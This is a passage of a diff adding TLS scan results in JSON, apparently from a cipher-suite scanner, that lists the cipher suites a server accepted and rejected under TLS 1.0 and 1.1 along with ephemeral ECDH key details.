"BGlqdKUxDQlZ/+h9z/c3BHjyzTbjcnvUIRbz3u/2Wbn0wThX/9Y4o3svkULL61Q7UnNTuXesisI/a5huMFC+5lnEvEs5U3qB9Du1BZKi+dBWv1GLZ40oVLCArBgVl+lduw==", + "size": 384, + "type_name": "ECDH", + "x": "aWp0pTENCVn/6H3P9zcEePLNNuNye9QhFvPe7/ZZufTBOFf/1jijey+RQsvrVDtS", + "y": "c1O5d6yKwj9rmG4wUL7mWcS8SzlTeoH0O7UFkqL50Fa/UYtnjShUsICsGBWX6V27" + } + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDHE-RSA-AES128-SHA" + }, + "ephemeral_key": { + "curve_name": "prime256v1", + "generator": null, + "prime": null, + "public_bytes": "BCjA9c2oQbQmMKXdmPY5Cr1V5RDcJAax/05gSu5B76QHXqBD9sLG5mTLQbjNViAB2e2eqvemaKcLOfgf+pMh8iI=", + "size": 256, + "type_name": "ECDH", + "x": "KMD1zahBtCYwpd2Y9jkKvVXlENwkBrH/TmBK7kHvpAc=", + "y": "XqBD9sLG5mTLQbjNViAB2e2eqvemaKcLOfgf+pMh8iI=" + } + } + ], + "is_tls_version_supported": true, + "rejected_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_RC4_128_SHA", + "openssl_name": "RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_RC4_128_MD5", + "openssl_name": "RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_SHA", + "openssl_name": "NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_MD5", + "openssl_name": "NULL-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_IDEA_CBC_SHA", + "openssl_name": "IDEA-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_RSA_WITH_DES_CBC_SHA", + "openssl_name": "DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_RC4_40_MD5", + "openssl_name": "EXP-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", + "openssl_name": "EXP-RC2-CBC-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_ECDH_anon_WITH_RC4_128_SHA", + "openssl_name": "AECDH-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 0, + "name": "TLS_ECDH_anon_WITH_NULL_SHA", + "openssl_name": "AECDH-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_ECDH_anon_WITH_AES_256_CBC_SHA", + "openssl_name": "AECDH-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_ECDH_anon_WITH_AES_128_CBC_SHA", + "openssl_name": "AECDH-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 168, + "name": "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "AECDH-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_RC4_128_SHA", + "openssl_name": "ECDH-RSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDH_RSA_WITH_NULL_SHA", + "openssl_name": "ECDH-RSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDH-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDH-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDH-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_RC4_128_SHA", + "openssl_name": "ECDH-ECDSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDH_ECDSA_WITH_NULL_SHA", + "openssl_name": "ECDH-ECDSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDH-ECDSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDH-ECDSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDH-ECDSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_RC4_128_SHA", + "openssl_name": "ECDHE-RSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDHE_RSA_WITH_NULL_SHA", + "openssl_name": "ECDHE-RSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDHE-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", + "openssl_name": "ECDHE-ECDSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDHE_ECDSA_WITH_NULL_SHA", + "openssl_name": "ECDHE-ECDSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_SEED_CBC_SHA", + "openssl_name": "ADH-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_RC4_128_MD5", + "openssl_name": "ADH-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 56, + "name": "TLS_DH_anon_WITH_DES_CBC_SHA", + "openssl_name": "ADH-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "ADH-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "ADH-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA", + "openssl_name": "ADH-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA", + "openssl_name": "ADH-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 168, + "name": "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ADH-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 40, + "name": "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5", + "openssl_name": "EXP-ADH-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 40, + "name": "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-ADH-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "DH-RSA-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DH_RSA_WITH_DES_CBC_SHA", + "openssl_name": "DH-RSA-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DH-RSA-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DH-RSA-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "DH-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "DH-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DH-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_SEED_CBC_SHA", + "openssl_name": "DH-DSS-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DH_DSS_WITH_DES_CBC_SHA", + "openssl_name": "DH-DSS-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DH-DSS-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DH-DSS-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA", + "openssl_name": "DH-DSS-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA", + "openssl_name": "DH-DSS-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DH-DSS-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "DHE-RSA-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DHE_RSA_WITH_DES_CBC_SHA", + "openssl_name": "EDH-RSA-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DHE-RSA-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DHE-RSA-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "DHE-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "DHE-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "EDH-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-EDH-RSA-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_SEED_CBC_SHA", + "openssl_name": "DHE-DSS-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DHE_DSS_WITH_DES_CBC_SHA", + "openssl_name": "EDH-DSS-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DHE-DSS-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DHE-DSS-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", + "openssl_name": "DHE-DSS-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", + "openssl_name": "DHE-DSS-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "EDH-DSS-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-EDH-DSS-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + } + ], + "tls_version_used": "TLS_1_0" + }, + "status": "COMPLETED" + }, + "tls_1_1_cipher_suites": { + "error_reason": null, + "error_trace": null, + "result": { + "accepted_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "AES256-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "AES128-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DES-CBC3-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDHE-RSA-AES256-SHA" + }, + "ephemeral_key": { + "curve_name": "secp384r1", + "generator": null, + "prime": null, + "public_bytes": "BGlqdKUxDQlZ/+h9z/c3BHjyzTbjcnvUIRbz3u/2Wbn0wThX/9Y4o3svkULL61Q7UnNTuXesisI/a5huMFC+5lnEvEs5U3qB9Du1BZKi+dBWv1GLZ40oVLCArBgVl+lduw==", + "size": 384, + "type_name": "ECDH", + "x": "aWp0pTENCVn/6H3P9zcEePLNNuNye9QhFvPe7/ZZufTBOFf/1jijey+RQsvrVDtS", + "y": "c1O5d6yKwj9rmG4wUL7mWcS8SzlTeoH0O7UFkqL50Fa/UYtnjShUsICsGBWX6V27" + } + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDHE-RSA-AES128-SHA" + }, + "ephemeral_key": { + "curve_name": "prime256v1", + "generator": null, + "prime": null, + "public_bytes": "BCjA9c2oQbQmMKXdmPY5Cr1V5RDcJAax/05gSu5B76QHXqBD9sLG5mTLQbjNViAB2e2eqvemaKcLOfgf+pMh8iI=", + "size": 256, + "type_name": "ECDH", + "x": "KMD1zahBtCYwpd2Y9jkKvVXlENwkBrH/TmBK7kHvpAc=", + "y": "XqBD9sLG5mTLQbjNViAB2e2eqvemaKcLOfgf+pMh8iI=" + } + } + ], + "is_tls_version_supported": true, + "rejected_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_RC4_128_SHA", + "openssl_name": "RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_RC4_128_MD5", + "openssl_name": "RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_SHA", + "openssl_name": "NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_MD5", + "openssl_name": "NULL-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_IDEA_CBC_SHA", + "openssl_name": "IDEA-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_RSA_WITH_DES_CBC_SHA", + "openssl_name": "DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_RC4_40_MD5", + "openssl_name": "EXP-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", + "openssl_name": "EXP-RC2-CBC-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_ECDH_anon_WITH_RC4_128_SHA", + "openssl_name": "AECDH-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 0, + "name": "TLS_ECDH_anon_WITH_NULL_SHA", + "openssl_name": "AECDH-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_ECDH_anon_WITH_AES_256_CBC_SHA", + "openssl_name": "AECDH-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_ECDH_anon_WITH_AES_128_CBC_SHA", + "openssl_name": "AECDH-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 168, + "name": "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "AECDH-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_RC4_128_SHA", + "openssl_name": "ECDH-RSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDH_RSA_WITH_NULL_SHA", + "openssl_name": "ECDH-RSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDH-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDH-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDH-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_RC4_128_SHA", + "openssl_name": "ECDH-ECDSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDH_ECDSA_WITH_NULL_SHA", + "openssl_name": "ECDH-ECDSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDH-ECDSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDH-ECDSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDH-ECDSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_RC4_128_SHA", + "openssl_name": "ECDHE-RSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDHE_RSA_WITH_NULL_SHA", + "openssl_name": "ECDHE-RSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDHE-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", + "openssl_name": "ECDHE-ECDSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDHE_ECDSA_WITH_NULL_SHA", + "openssl_name": "ECDHE-ECDSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_SEED_CBC_SHA", + "openssl_name": "ADH-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_RC4_128_MD5", + "openssl_name": "ADH-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 56, + "name": "TLS_DH_anon_WITH_DES_CBC_SHA", + "openssl_name": "ADH-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "ADH-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "ADH-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA", + "openssl_name": "ADH-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + 